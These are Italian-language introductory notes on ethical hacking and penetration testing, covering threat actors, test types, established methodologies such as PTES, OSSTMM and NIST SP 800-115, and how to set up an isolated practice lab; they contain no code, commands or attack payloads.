Il termine hacker etico descrive una persona che agisce come aggressore e valuta il livello di sicurezza di una rete di computer allo scopo di ridurre al minimo i rischi. Il NIST Computer Security Resource Center (CSRC) definisce un hacker come un “utente non autorizzato che tenta o ottiene l’accesso a un sistema informativo”. Sappiamo tutti che il termine hacker è stato utilizzato in molti modi diversi e ha molte definizioni diverse. La maggior parte delle persone che lavorano nel campo della tecnologia informatica si considerano hacker per il semplice fatto che amano armeggiare. Questa ovviamente non è una cosa dannosa. Quindi, il fattore chiave nel definire l’hacking etico rispetto a quello non etico è che quest’ultimo implica intenti dannosi. Il permesso di attaccare o il permesso di testare è fondamentale e ti terrà fuori dai guai! Questo permesso di attacco viene spesso definito “l’ambito” del test (ciò che è consentito e non è consentito testare). Maggiori informazioni su questo argomento più avanti in questo modulo.

Un ricercatore di sicurezza che cerca vulnerabilità in prodotti, applicazioni o servizi web è considerato un hacker etico se rivela responsabilmente tali vulnerabilità ai fornitori o ai proprietari della ricerca mirata. Tuttavia, lo stesso tipo di “ricerca” eseguita da qualcuno che poi sfrutta la stessa vulnerabilità per ottenere l’accesso non autorizzato a una rete/sistema preso di mira verrebbe considerato un hacker non etico. Potremmo addirittura arrivare a dire che qualcuno che trova una vulnerabilità e la rende pubblica senza collaborare con un fornitore è considerato un hacker non etico, perché ciò potrebbe portare alla compromissione di reti/sistemi da parte di altri che utilizzano queste informazioni in modo dannoso.

La verità è che, come hacker etico, utilizzi gli stessi strumenti per individuare vulnerabilità e sfruttare obiettivi utilizzati dagli hacker non etici. Tuttavia, in quanto hacker etico, in genere segnaleresti le tue scoperte al fornitore o al cliente che stai aiutando a rendere la rete più sicura. Cercheresti anche di evitare di eseguire test o exploit che potrebbero essere di natura distruttiva.

L’obiettivo di un hacker etico è quello di analizzare il livello di sicurezza dell’infrastruttura di una rete o di un sistema nel tentativo di identificare ed eventualmente sfruttare potenziali punti deboli rilevati e quindi determinare se è possibile una compromissione. Questo processo è chiamato security penetration testing o hacking etico.

Suggerimento: Hacking is NOT a Crime (hackingisnotacrime.org) è un’organizzazione no-profit che tenta di aumentare la consapevolezza sull’uso peggiorativo del termine hacker. Storicamente, gli hacker sono stati descritti come malvagi o illegali. Fortunatamente, molte persone sanno già che gli hacker sono individui curiosi che vogliono capire come funzionano le cose e come renderle più sicure.

Perché è necessario eseguire un Penetration Testing?

Quindi, perché abbiamo bisogno dei test di penetrazione? Bene, prima di tutto, come persona responsabile della sicurezza e della difesa di una rete/sistema, vuoi trovare ogni possibile percorso di compromissione prima che lo facciano i malintenzionati. Da anni vengono sviluppate e implementate diverse tecniche di difesa (ad esempio antivirus, firewall, sistemi di prevenzione delle intrusioni [IPS], anti-malware). Viene altresì implementata la difesa in profondità come metodo per proteggere e difendere le nostre reti. Ma come facciamo a sapere se queste difese funzionano davvero e se sono sufficienti a tenere lontani i cattivi? Quanto sono preziosi i dati che proteggiamo e stiamo proteggendo le cose giuste? Queste sono alcune delle domande a cui dovrebbe rispondere un penetration test. Se costruisci una recinzione attorno al tuo giardino con l’intento di impedire al tuo cane di uscire, forse deve essere alta solo 1,5 metri. Tuttavia, se la tua preoccupazione non è l’uscita del cane ma l’ingresso di un intruso, allora hai bisogno di una recinzione diversa, una che dovrebbe essere molto più alta di 1,5 metri. A seconda di ciò che stai proteggendo, potresti anche voler del filo spinato sulla parte superiore della recinzione per scoraggiare ancora di più i malintenzionati. Quando si tratta di sicurezza delle informazioni, dobbiamo fare lo stesso tipo di valutazioni sulle nostre reti e sui nostri sistemi. Dobbiamo determinare cosa stiamo proteggendo e se le nostre difese possono resistere alle minacce che vengono loro imposte. È qui che entrano in gioco i penetration testing. La semplice implementazione di un firewall, un IPS, un anti-malware, una VPN, un firewall per applicazioni web (WAF) e altre moderne difese di sicurezza non è sufficiente. È inoltre necessario testarne la validità. E devi farlo regolarmente. Lo sappiamo: le reti e i sistemi cambiano costantemente. Ciò significa che anche la superficie di attacco può cambiare e, in tal caso, è necessario prendere in considerazione la possibilità di rivalutare il livello di sicurezza tramite un penetration test.

Ricerca di carriere nel PenTesting

Penso che sia importante comprendere il panorama occupazionale e i diversi ruoli e responsabilità che includono le professioni di sicurezza informatica. Un buon riferimento generale da esplorare per le descrizioni dei diversi ruoli lavorativi è il Cyber ​​Career Pathways Tool della National Initiative for Cybersecurity Careers and Studies (NICCS). Offre un modo visivo per scoprire e confrontare diversi ruoli lavorativi di questa professione.

Interessante per capire dove si è collocati nel quadro generale della professionalità.

Threat Actors

Prima di poter comprendere in che modo un hacker etico o un penetration tester può imitare un threat actor (attore di minacce o un utente malintenzionato), è necessario comprendere i diversi tipi di autori di minacce. Di seguito sono riportati i tipi più comuni di aggressori.

  • pirati informatici, quelli che spesso, comunemente, vengono chiamati hacker, È sbagliato pensare che i cybercriminali puntino solamente ad eseguire attacchi in grande stile. A fianco di bersagli quali istituti governativi e bancari, sono sempre più oggetto di attacchi informatici anche PMI, liberi professionisti, sino al singolo utente domestico;
  • spie, sabotatori, vandali. Attualmente, diversi Governi si sono dotati delle necessarie capacità per penetrare le reti nazionali degli altri Stati (in uso sia alle autorità pubbliche che ai privati) a fini di spionaggio o per mappare i sistemi potenzialmente oggetto di un futuro attacco. Il vandalo adotta un insieme di azioni al fine di danneggiare o distruggere beni altrui materiali e non, per puro divertimento o incuria. Il sabotatore ha per obiettivo creare danni ad un sistema, dal rallentamento sino al denial of service, per i motivi più vari. È evidente che una netta distinzione tra i due attori non è possibili in quanto agiscono spesso con le medesime modalità e per gli stessi scopi;
  • oltre ai criminali comuni, che si rifanno al modello noto come “cybercrime-as-a-service” di cui si è parlato prima, vi sono organizzazioni criminali che hanno preso coscienza delle potenzialità dei malware andando a creare strutture commerciali efficientemente organizzate, capaci di generare sensibili profitti dalla vendita dei servizi che le botnet sono in grado di offrire;
  • terroristi, è possibile ipotizzare che nel prossimo futuro gruppi terroristici o singoli individui possano impiegare strumenti cibernetici offensivi ed utilizzarli contro obiettivi militari e civili. Si può far rientrare in questa categoria, quella degli attivisti, dal 2013 sempre più spesso si assiste ad una commistione tra finalità cyber criminali e forme di hacktivism. I due ambiti, originariamente distinti per background, finalità e modalità di azione, sempre più spesso trovano conveniente allearsi per raggiungere i propri obiettivi: tipologie di attacco motivate ideologicamente, con intento sostanzialmente dimostrativo, che mirano principalmente a creare un danno d’immagine e/o alla funzionalità temporanea di sistemi e reti;
  • personale interno, ovvero l’ “insider”, cioè il soggetto che all’interno di una organizzazione – pubblica o privata poco importa – può generare situazioni compromettenti la sicurezza o addirittura la sopravvivenza della realtà di appartenenza. L’attenzione è incentrata sia sui soggetti che ora lavorano nell’organizzazione, sia su quelli che hanno interrotto ogni rapporto. Va tenuto nella dovuta considerazione il fatto che l’attenzione agli attacchi informatici deve necessariamente essere rivolta non solo verso l’esterno, ma anche verso l’interno dell’azienda. Un dipendente particolarmente motivato potrebbe creare un danno molto maggiore rispetto a quello di un cyber attaccante, vista la sua conoscenza dell’infrastruttura e degli asset aziendali. A mio parere rappresenta una fra le minacce più gravi: partono in vantaggio rispetto ad un attaccante esterno per la conoscenza delle dinamiche interne, delle infrastrutture, ecc.., hanno già le credenziali di accesso e spesso non vengono revocate in tempo. Esempio italiano Hacking Team;
  • fornitori di servizi, outsourcers, nel 2013 si è assistito all’emergere di una chiara tendenza, per cui gli attaccanti hanno individuato negli outsourcer l’anello più debole da colpire per raggiungere (tipicamente sfruttandone le utenze privilegiate e le connessioni VPN) i loro bersagli primari. Questo fenomeno, data la propensione degli attaccanti a minimizzare gli sforzi, è destinato a crescere in modo esponenziale, dal momento che spesso questi fornitori sono aziende medio-piccole, con una cultura della sicurezza sensibilmente inferiore a quella dei loro grandi clienti, pur avendo di frequente accessi poco o per nulla presidiati alle loro reti ed infrastrutture;
  • dal crimine informatico allo state-sponsored hacking. Lo scenario attuale vede un crescente numero di attacchi informatici caratterizzati da livelli di complessità elevati, determinati dalla proliferazione di hacker al soldo di governi oppure di malware sviluppati dai governi stessi. Se il crimine informatico preoccupa gli esperti di sicurezza, il nation-state hacking non è da meno. La quasi totalità dei governi è intenta nell’ampliamento del proprio arsenale cibernetico.

Exploring Penetration Testing Methodologies

I test di penetrazione vanno ben oltre l’hacking della rete di un cliente. Un approccio casuale porterà a risultati casuali. È importante seguire metodi e standard ben noti per affrontare gli impegni di pentesting in modo organizzato e sistematico.

Dovresti comprendere le principali metodologie e standard documentati in modo da poter creare strategie che attingano ai loro punti di forza. Documentare il tuo approccio con le metodologie e gli standard che hai utilizzato fornisce inoltre responsabilità alla nostra azienda e aiuta a rendere i nostri risultati difendibili nel caso in cui sorgano problemi con i nostri clienti.

Il processo di completamento di un penetration test varia in base a molti fattori. Anche gli strumenti e le tecniche utilizzati per valutare il livello di sicurezza di una rete o di un sistema variano. Le reti e i sistemi oggetto di valutazione sono spesso molto complessi. Per questo motivo, quando si esegue un test di penetrazione è molto facile uscire dal campo di applicazione. È qui che entrano in gioco le metodologie di test.

Perché è necessario seguire una metodologia per i Penetration Test?

Come appena accennato, lo scope creep è una delle ragioni per utilizzare una metodologia specifica; tuttavia, ci sono molte altre ragioni. Ad esempio, quando esegui un test di penetrazione per un cliente, devi dimostrare che i metodi che intendi utilizzare per il test sono collaudati e veri. Utilizzando una metodologia nota, è possibile fornire la documentazione di una procedura specializzata utilizzata da molte persone.

Considerazioni ambientali

Esistono ovviamente diversi tipi di test di penetrazione. Spesso vengono combinati in un ambito più complesso di test; tuttavia, possono anche essere eseguiti come test individuali.

Di seguito è riportato un elenco di alcune delle considerazioni ambientali più comuni per i tipi di test di penetrazione odierni:

Test dell’infrastruttura di rete

Testare l’infrastruttura di rete può significare diverse cose. Ai fini di questi appunti, diciamo che è incentrato sulla valutazione del livello di sicurezza dell’effettiva infrastruttura di rete e su come questa sia in grado di aiutare a difendersi dagli attacchi. Ciò include spesso switch, router, firewall e risorse di supporto, come server e IPS di autenticazione, autorizzazione e contabilità (AAA). Un test di penetrazione sull’infrastruttura wireless può talvolta essere incluso nell’ambito di un test dell’infrastruttura di rete. Tuttavia, verrebbero eseguiti ulteriori tipi di test oltre alla valutazione della rete cablata. Ad esempio, un tester di sicurezza wireless tenterà di entrare in una rete tramite la rete wireless aggirando i meccanismi di sicurezza o violando i metodi crittografici utilizzati per proteggere il traffico. Testare l’infrastruttura wireless aiuta un’organizzazione a determinare i punti deboli nell’implementazione wireless e l’esposizione. Spesso include una mappa termica dettagliata dell’erogazione del segnale.

Test basati sulle applicazioni

Questo tipo di pen test si concentra sui test per individuare i punti deboli della sicurezza nelle applicazioni aziendali. Questi punti deboli possono includere, a titolo esemplificativo, configurazioni errate, problemi di convalida dell’input, problemi di injection e difetti logici. Poiché un’applicazione Web è generalmente creata su un server Web con un database back-end, l’ambito del test normalmente include anche il database. Tuttavia, si concentra sull’accesso al database di supporto attraverso la compromissione dell’applicazione web. Una grande risorsa che menzioniamo più volte in questo libro è l’Open Web Application Security Project (OWASP).

Test di penetrazione nel cloud

I fornitori di servizi cloud (Cloud service providers – CSP) come Azure, Amazon Web Services (AWS) e Google Cloud Platform (GCP) non hanno altra scelta se non quella di prendere molto sul serio le proprie responsabilità in materia di sicurezza e conformità. Ad esempio, Amazon ha creato il modello di responsabilità condivisa per descrivere in dettaglio le responsabilità dei clienti AWS e le responsabilità di Amazon (vedi https://aws.amazon.com/compliance/shared-responsibility-model).

La responsabilità per la sicurezza del cloud dipende dal tipo di modello cloud (software as a service [SaaS], platform as a service [PaaS] o Infrastructure as a Service [IaaS]). Ad esempio, con IaaS, il cliente (cloud consumer) è responsabile di dati, applicazioni, runtime, middleware, macchine virtuali (VM), contenitori e sistemi operativi nelle VM. Indipendentemente dal modello utilizzato, la sicurezza del cloud è responsabilità sia del cliente che del fornitore del cloud. Questi dettagli devono essere elaborati prima della firma di un contratto di cloud computing. Questi contratti variano a seconda delle esigenze di sicurezza del cliente. Le considerazioni includono il ripristino di emergenza, gli accordi sul livello di servizio (service-level agreements – SLA), l’integrità dei dati e la crittografia. Ad esempio, la crittografia viene fornita end-to-end o solo presso il fornitore di servizi cloud? Inoltre, chi gestisce le chiavi di crittografia: il CSP o il client?

Nel complesso, vuoi assicurarti che il CSP disponga degli stessi livelli di sicurezza (logico, fisico e amministrativo) che avresti per i servizi che controlli. Quando esegui test di penetrazione nel cloud, devi capire cosa puoi fare e cosa non puoi fare. La maggior parte dei CSP dispone di linee guida dettagliate su come eseguire valutazioni della sicurezza e test di penetrazione nel cloud. Indipendentemente da ciò, esistono molte potenziali minacce quando le organizzazioni passano a un modello cloud. Ad esempio, anche se i tuoi dati sono nel cloud, devono risiedere in un luogo fisico da qualche parte. Il tuo fornitore di servizi cloud dovrebbe accettare per iscritto di fornire il livello di sicurezza richiesto per i tuoi clienti. Ad esempio, il collegamento seguente include la policy di supporto clienti AWS per il penetration testing: https://aws.amazon.com/security/penetration-testing.

Nota: molti penetration tester ritengono che l’aspetto fisico del test sia il più divertente perché vengono essenzialmente pagati per entrare nella struttura di un obiettivo. Questo tipo di test può aiutare a evidenziare eventuali punti deboli nel perimetro fisico nonché eventuali meccanismi di sicurezza presenti, come guardie, cancelli e recinzioni. Il risultato dovrebbe essere una valutazione dei controlli di sicurezza fisica esterni. La maggior parte dei compromessi oggi inizia con una sorta di attacco di ingegneria sociale. Potrebbe trattarsi di una telefonata, un’e-mail, un sito Web, un messaggio SMS e così via. È importante testare come i tuoi dipendenti gestiscono questo tipo di situazioni. Questo tipo di test viene spesso omesso dall’ambito di un test di penetrazione principalmente perché coinvolge principalmente il test delle persone anziché della tecnologia. Nella maggior parte dei casi il management non è d’accordo con questo tipo di approccio. Tuttavia, è importante avere una visione reale degli ultimi metodi di attacco. Il risultato di un test di ingegneria sociale dovrebbe essere quello di valutare il programma di sensibilizzazione alla sicurezza in modo da poterlo migliorare. Non dovrebbe servire a identificare gli individui che non superano il test. Uno degli strumenti di cui parleremo di più in un modulo successivo è il Social-Engineer Toolkit (SET), creato da Dave Kennedy. Questo è un ottimo strumento per eseguire campagne di test di ingegneria sociale.

Suggerimento: i programmi Bug Bounty consentono ai ricercatori di sicurezza e ai penetration tester di ottenere un riconoscimento (e spesso un compenso monetario) per aver individuato vulnerabilità in siti Web, applicazioni o qualsiasi altro tipo di sistema. Aziende come Microsoft, Apple e Cisco e persino istituzioni governative come il Dipartimento della Difesa degli Stati Uniti (DoD) utilizzano programmi di bug bounty per premiare i professionisti della sicurezza quando trovano vulnerabilità nei loro sistemi. Molte società di sicurezza, come HackerOne, Bugcrowd, Intigriti e SynAck, forniscono piattaforme per aziende e professionisti della sicurezza per partecipare a programmi bug bounty. Questi programmi sono diversi dai tradizionali test di penetrazione, ma hanno un obiettivo simile: individuare le vulnerabilità della sicurezza per consentire all’organizzazione di risolverle prima che gli aggressori possano sfruttare tali vulnerabilità. Suggerimenti e risorse per la ricompensa dei bug nel seguente repository GitHub: https://github.com/The-Art-of-Hacking/h4cker/tree/master/bug-bounties.

Quando si parla di metodi di penetration test, è probabile che si sentano i termini ambiente sconosciuto (precedentemente noto come black-box), ambiente noto (precedentemente noto come white-box) e ambiente parzialmente noto (precedentemente noto come grey-box). test. Questi termini vengono utilizzati per descrivere la prospettiva da cui viene eseguito il test, nonché la quantità di informazioni fornite al tester:

Test in ambiente sconosciuto

In un test di penetrazione in un ambiente sconosciuto, al tester viene generalmente fornita solo una quantità molto limitata di informazioni. Ad esempio, al tester possono essere forniti solo i nomi di dominio e gli indirizzi IP che rientrano nell’ambito di un particolare target. L’idea di questo tipo di limitazione è di far sì che il tester inizi con la prospettiva che potrebbe avere un utente malintenzionato esterno. In genere, un utente malintenzionato individua innanzitutto un obiettivo e quindi inizia a raccogliere informazioni sull’obiettivo, utilizzando informazioni pubbliche, e ottiene sempre più informazioni da utilizzare negli attacchi. Il tester non avrebbe una conoscenza preliminare dell’organizzazione e dell’infrastruttura del target. Un altro aspetto dei test in ambiente sconosciuto è che a volte il personale di supporto di rete del target potrebbe non ricevere informazioni su quando esattamente avrà luogo il test. Ciò consente anche lo svolgimento di un esercizio di difesa ed elimina il problema di un bersaglio che si prepara per il test e non fornisce una visione del mondo reale di come appare realmente la situazione di sicurezza.

Test dell’ambiente noto

In un penetration test in un ambiente noto, il tester inizia con una quantità significativa di informazioni sull’organizzazione e sulla sua infrastruttura. Al tester verrebbero normalmente forniti elementi come diagrammi di rete, indirizzi IP, configurazioni e un set di credenziali utente. Se l’ambito include una valutazione dell’applicazione, al tester potrebbe essere fornito anche il codice sorgente dell’applicazione di destinazione. L’idea di questo tipo di test è identificare il maggior numero possibile di buchi di sicurezza. In un test in un ambiente sconosciuto, lo scopo potrebbe essere solo quello di identificare un percorso all’interno dell’organizzazione e fermarsi lì. Con i test in ambienti noti, l’ambito è in genere molto più ampio e include il controllo della configurazione della rete interna e la scansione dei computer desktop per individuare eventuali difetti. Tempo e denaro sono in genere fattori decisivi nella determinazione del tipo di test di penetrazione da completare. Se un’azienda ha preoccupazioni specifiche su un’applicazione, un server o un segmento dell’infrastruttura, può fornire informazioni su quell’obiettivo specifico per ridurre la portata e la quantità di tempo dedicato al test ma ottenere comunque i risultati desiderati. Con la sofisticatezza e le capacità degli avversari attuali, è probabile che la maggior parte delle reti prima o poi venga compromessa e un approccio white-box non è una cattiva opzione.

Test ambientale parzialmente noto

Un test di penetrazione in un ambiente parzialmente noto è in qualche modo un approccio ibrido tra test in ambiente sconosciuto e noto. Con i test dell’ambiente parzialmente noto, ai tester potrebbero essere fornite le credenziali ma non la documentazione completa dell’infrastruttura di rete. Ciò consentirebbe ai tester di fornire comunque i risultati dei loro test dal punto di vista di un aggressore esterno. Considerando il fatto che la maggior parte delle compromissioni iniziano dal client e si diffondono attraverso la rete, un buon approccio sarebbe un ambito in cui i tester iniziano dall’interno della rete e hanno accesso a una macchina client. Quindi potrebbero ruotare all’interno della rete per determinare quale sarebbe l’impatto di una compromissione.

Types of Penetration Tests – Indagine su standard e metodologie diverse

Esistono numerose metodologie di test di penetrazione in circolazione da un po’ di tempo e continuano ad essere aggiornate man mano che emergono nuove minacce.

Di seguito è riportato un elenco di alcune delle metodologie di test di penetrazione più comuni e di altri standard:

MITRE ATT&CK

Il framework MITRE ATT&CK (https://attack.mitre.org) è una risorsa straordinaria per conoscere le tattiche, le tecniche e le procedure (tactics, techniques, and procedures -TTP) di un avversario. Sia i professionisti della sicurezza offensiva (penetration tester, red teamer, cacciatori di bug e così via) che gli addetti alla risposta agli incidenti e i team di caccia alle minacce utilizzano oggi il framework MITRE ATT&CK. Il framework MITRE ATT&CK è una raccolta di diverse matrici di tattiche, tecniche e sottotecniche. Queste matrici, tra cui Enterprise ATT&CK Matrix, Network, Cloud, ICS e Mobile, elencano le tattiche e le tecniche utilizzate dagli avversari mentre si preparano a un attacco, inclusa la raccolta di informazioni (intelligence open source [OSINT], identificazione delle debolezze tecniche e delle persone, e altro) nonché diverse tecniche di sfruttamento e post-sfruttamento.

OWASP WSTG

La OWASP Web Security Testing Guide (WSTG) è una guida completa focalizzata sul test delle applicazioni web. È una raccolta di molti anni di lavoro dei membri OWASP. OWASP WSTG copre le fasi di alto livello dei test di sicurezza delle applicazioni web e approfondisce i metodi di test utilizzati. Ad esempio, arriva fino a fornire vettori di attacco per testare attacchi cross-site scripting (XSS), attacchi XML external entità (XXE), cross-site request forgery (CSRF) e attacchi SQL injection; nonché su come prevenire e mitigare questi attacchi. Dal punto di vista dei test di sicurezza delle applicazioni web, OWASP WSTG è la guida più dettagliata e completa disponibile. Puoi trovare OWASP WSTG e le relative informazioni sul progetto su https://owasp.org/www-project-web-security-testing-guide/.

NIST SP 800-115

La pubblicazione speciale (SP) 800-115 è un documento creato dal National Institute of Standards and Technology (NIST), che fa parte del Dipartimento del commercio degli Stati Uniti. NIST SP 800-115 fornisce alle organizzazioni linee guida sulla pianificazione e la conduzione di test sulla sicurezza delle informazioni. Ha sostituito il precedente documento standard, SP 800-42. SP 800-115 è considerato uno standard di settore per la guida ai test di penetrazione ed è citato in molti altri standard e documenti di settore. È possibile accedere al NIST SP 800-115 all’indirizzo https://csrc.nist.gov/publications/detail/sp/800-115/final.

OSSTMM

Il Manuale della metodologia di test della sicurezza open source (Open Source Security Testing Methodology Manual – OSSTMM), sviluppato da Pete Herzog, esiste da molto tempo. Distribuito dall’Institute for Security and Open Methodologies (ISECOM), l’OSSTMM è un documento che definisce test di sicurezza ripetibili e coerenti (https://www.isecom.org). L’OSSTMM ha le seguenti sezioni chiave:

  • Operational Security Metrics
  • Trust Analysis
  • Work Flow
  • Human Security Testing
  • Physical Security Testing
  • Wireless Security Testing
  • Telecommunications Security Testing
  • Data Networks Security Testing
  • Compliance Regulations
  • Reporting with the Security Test Audit Report (STAR)

PTES

Il Penetration Testing Execution Standard (PTES) (http://www.pentest-standard.org) fornisce informazioni sui tipi di attacchi e metodi e fornisce informazioni sugli strumenti più recenti disponibili per eseguire i metodi di test. PTES prevede sette fasi distinte:

  1. Pre-engagement interactions
  2. Intelligence gathering
  3. Threat modeling
  4. Vulnerability analysis
  5. Exploitation
  6. Post-exploitation
  7. Reporting

ISSAF

L’Information Systems Security Assessment Framework (ISSAF) è un’altra metodologia di test di penetrazione simile alle altre presenti in questo elenco con alcune fasi aggiuntive. ISSAF copre le seguenti fasi:

  • Information gathering
  • Network mapping
  • Vulnerability identification
  • Penetration
  • Gaining access and privilege escalation
  • Enumerating further
  • Compromising remote users/sites
  • Maintaining access
  • Covering the tracks

Confronta le metodologie di Pentesting

Ci sono così tante parti in movimento in un test di penetrazione che è facile perdere traccia di ciò che è stato trattato e di ciò che non lo è stato.

Nessuna singola metodologia è adatta ai requisiti di ogni incarico; tuttavia è importante fondare la propria attività su standard e metodologie sviluppate da organizzazioni di sicurezza ed esperti riconosciuti.

Costruisci il tuo laboratorio

Le abilità si acquisiscono con la pratica, ma come puoi esercitarti se non hai qualcosa su cui farlo?

Quando si tratta di test di penetrazione, un ambiente di laboratorio adeguato è molto importante. L’aspetto di questo ambiente dipende dal tipo di test che stai eseguendo. Anche i tipi di strumenti utilizzati in un laboratorio variano in base a diversi fattori. Qui tocchiamo solo alcuni dei tipi di strumenti utilizzati nei penetration test. Che tu stia eseguendo test di penetrazione sulla rete di un cliente, sulla tua rete o su un dispositivo specifico, hai sempre bisogno di un qualche tipo di ambiente di laboratorio da utilizzare per i test. Ad esempio, quando si testa la rete di un cliente, molto probabilmente si eseguirà la maggior parte dei test sugli ambienti di produzione o di staging del cliente perché questi sono gli ambienti di cui un cliente si preoccupa in genere di proteggere adeguatamente. Poiché questo potrebbe essere un ambiente di rete critico, devi essere sicuro che i tuoi strumenti siano collaudati e veri – ed è qui che entra in gioco il tuo ambiente di test di laboratorio. Dovresti sempre testare i tuoi strumenti e le tue tecniche nel tuo ambiente di laboratorio prima di eseguirli contro un cliente rete. Non vi è alcuna garanzia che gli strumenti utilizzati non rompano qualcosa. In effetti, molti strumenti sono progettati per “rompere le cose”. È quindi necessario sapere cosa aspettarsi prima di utilizzare gli strumenti su una rete di clienti. Quando si testa un dispositivo o una soluzione specifica che si trova solo in un ambiente di laboratorio, c’è meno preoccupazione di danneggiare qualcosa. Con questo tipo di test, in genere si utilizza una rete chiusa che può essere facilmente ripristinata se necessario.

Esistono molte distribuzioni Linux diverse che includono strumenti e risorse per test di penetrazione, come Kali Linux (kali.org), Parrot OS (parrotsec.org) e BlackArch (blackarch.org). Queste distribuzioni Linux forniscono un ambiente molto conveniente per iniziare a conoscere i diversi strumenti e metodologie di sicurezza utilizzati nei pen test. Puoi implementare un laboratorio di test di penetrazione basico utilizzando solo un paio di VM in ambienti di virtualizzazione come Virtual Box (virtualbox.org) o VMware Workstation/Fusion (vmware.com).

La Figura 1-1 mostra due VM (una con sistema operativo Parrot e un’altra con un sistema Microsoft Windows vulnerabile). Le due VM sono connesse tramite una configurazione di switch virtuale e una “rete solo host”. Questo tipo di configurazione consente di eseguire diversi attacchi e inviare pacchetti IP tra VM senza che tali pacchetti lascino il sistema fisico (bare metal).

Figura 1-1 – Ambiente di laboratorio di Penetration Testing di base con due VM.

Suggerimento: è possibile avviare un laboratorio di apprendimento di base con una sola VM. Ad esempio, Omar Santos ha creato un ambiente di apprendimento gratuito chiamato WebSploit Labs che puoi distribuire su una singola VM. Include numerose risorse, strumenti di sicurezza informatica e diverse applicazioni intenzionalmente vulnerabili in esecuzione nei contenitori Docker. WebSploit Labs include più di 450 esercizi diversi che puoi completare per mettere in pratica le tue abilità in un ambiente sicuro. È possibile ottenere ulteriori informazioni su WebSploit Labs su websploit.org. La VM scaricata nel lab più avanti in questo argomento è una versione personalizzata dell’ambiente lab di Omar Santos.

La Figura 1-2 mostra una topologia più elaborata per un ambiente di laboratorio di test di penetrazione.

Requisiti e linee guida per i laboratori di penetration testing

Ora analizziamo un po’ più a fondo come potrebbe apparire un ambiente di laboratorio per test di penetrazione e alcune best practice per la creazione di un laboratorio di questo tipo. La tabella seguente contiene un elenco di requisiti e linee guida per un tipico ambiente di test di penetrazione.

Requisiti o linee guidaDescrizione
Network chiusoÈ necessario garantire un accesso controllato da e verso l’ambiente di laboratorio e un accesso limitato a Internet
Ambiente informatico virtualizzatoCiò consente una facile distribuzione e ripristino dei dispositivi sottoposti a test
Ambiente realisticoSe stai allestendo un ambiente di test, dovrebbe corrispondere il più fedelmente possibile all’ambiente reale
Monitoraggio della “salute”Quando qualcosa si blocca, devi essere in grado di determinare il motivo per cui è successo
Risorse hardware sufficientiÈ necessario essere sicuri che la mancanza di risorse non sia la causa di risultati falsi
Sistemi operativi multipliMolte volte vorrai testare o convalidare un risultato da un altro sistema. È sempre bene eseguire test su diversi sistemi operativi per vedere se i risultati differiscono
Strumenti duplicatiUn ottimo modo per convalidare un risultato è eseguire lo stesso test con uno strumento diverso per vedere se i risultati sono gli stessi
Obiettivi praticiDevi esercitarti a usare i tuoi strumenti. Per fare ciò, è necessario esercitarsi su obiettivi noti per essere vulnerabili
Elenco di requisiti e linee guida per un tipico ambiente di test di penetrazione

Quali strumenti dovresti utilizzare nel tuo laboratorio?

Ci dedicheremo appieno agli strumenti di penetration testing in seguito. Pertanto, questa sezione “graffia” solo la superficie. Fondamentalmente, gli strumenti utilizzati nei test di penetrazione dipendono dal tipo di test che stai eseguendo. Se stai eseguendo test nell’ambiente di un cliente, probabilmente valuterai varie superfici di attacco, come ad esempio l’infrastruttura di rete, l’infrastruttura wireless, i server Web, i server di database, i sistemi Windows o i sistemi Linux.

Gli strumenti basati sull’infrastruttura di rete potrebbero includere strumenti per lo sniffing o la manipolazione del traffico, inondando i dispositivi di rete e aggirando firewall e IPS. A scopo di test wireless, potresti utilizzare strumenti per violare la crittografia wireless, rimuovere l’autorizzazione dei dispositivi di rete ed eseguire attacchi sul percorso (chiamati anche attacchi man-in-the-middle).

Quando si testano applicazioni e servizi web, è possibile trovare una serie di strumenti automatizzati creati appositamente per la scansione e il rilevamento delle vulnerabilità web, nonché strumenti di test manuali come i proxy di intercettazione. Alcuni di questi stessi strumenti possono essere utilizzati per verificare le vulnerabilità del database (come le vulnerabilità SQL injection).

Per testare le piattaforme server e client in un ambiente, è possibile utilizzare una serie di strumenti automatizzati di scansione delle vulnerabilità per identificare elementi come software obsoleto e configurazioni errate. Con l’intenso sviluppo rivolto alle piattaforme mobili, c’è una crescente necessità di testare queste applicazioni e i server che le supportano. Per tali test, è necessario un altro set di strumenti specifici per testare le applicazioni mobili e le API back-end con cui in genere comunicano. E non bisogna dimenticare gli strumenti di fuzzing, che vengono normalmente utilizzati per testare la robustezza dei protocolli.

Suggerimento: Omar Santos ha creato un repository GitHub che include numerose risorse sulla sicurezza informatica. È presente una sezione dedicata a fornire indicazioni su come costruire diversi laboratori di test di penetrazione e dove trovare applicazioni, server e strumenti vulnerabili per esercitare le proprie capacità in un ambiente sicuro. È possibile accedere al repository su https://h4cker.org/github. Puoi accedere direttamente alla sezione “Building Your Own Cybersecurity Lab and Cyber ​​Range” su https://github.com/The-Art-of-Hacking/h4cker/tree/master/build_your_own_lab.

Cosa succede se rompi qualcosa?

Essere in grado di ripristinare l’ambiente di laboratorio è importante per molte ragioni. Come discusso in precedenza, quando si eseguono test di penetrazione, si rompono le cose; a volte quando rompi le cose, non si riprendono da sole. Ad esempio, quando stai testando applicazioni web, alcuni degli attacchi che invii inseriranno dati fasulli nei campi del modulo e tali dati probabilmente finiranno nel database, quindi il tuo database sarà riempito con quei dati fasulli. Ovviamente, in un ambiente di produzione, questa non è una buona cosa. I dati immessi possono anche essere di natura dannosa, come attacchi di scripting e injection. Ciò può causare anche il danneggiamento del database. Naturalmente, sai che questo sarebbe un problema in un ambiente di produzione. È un problema anche in un ambiente di laboratorio se non si dispone di un modo semplice per il ripristino. Senza un metodo di ripristino rapido, probabilmente rimarresti bloccato nella ricostruzione del sistema sottoposto a test. Questo può richiedere molto tempo e, se lo stai facendo per un cliente, può influire sulla tua sequenza temporale complessiva.

L’utilizzo di un qualche tipo di ambiente virtuale è l’ideale in quanto offre funzionalità di snapshot e ripristino dello stato del sistema. A volte, però, questo non è possibile. Ad esempio, potresti testare un sistema che non può essere virtualizzato. In tal caso, è necessario disporre di un backup completo del sistema o dell’ambiente. In questo modo, puoi tornare rapidamente indietro e testare se qualcosa si danneggia, perché molto probabilmente lo farà. Dopotutto, stai eseguendo test di penetrazione.

Raccolta di informazioni e scansione delle vulnerabilità

Introduzione

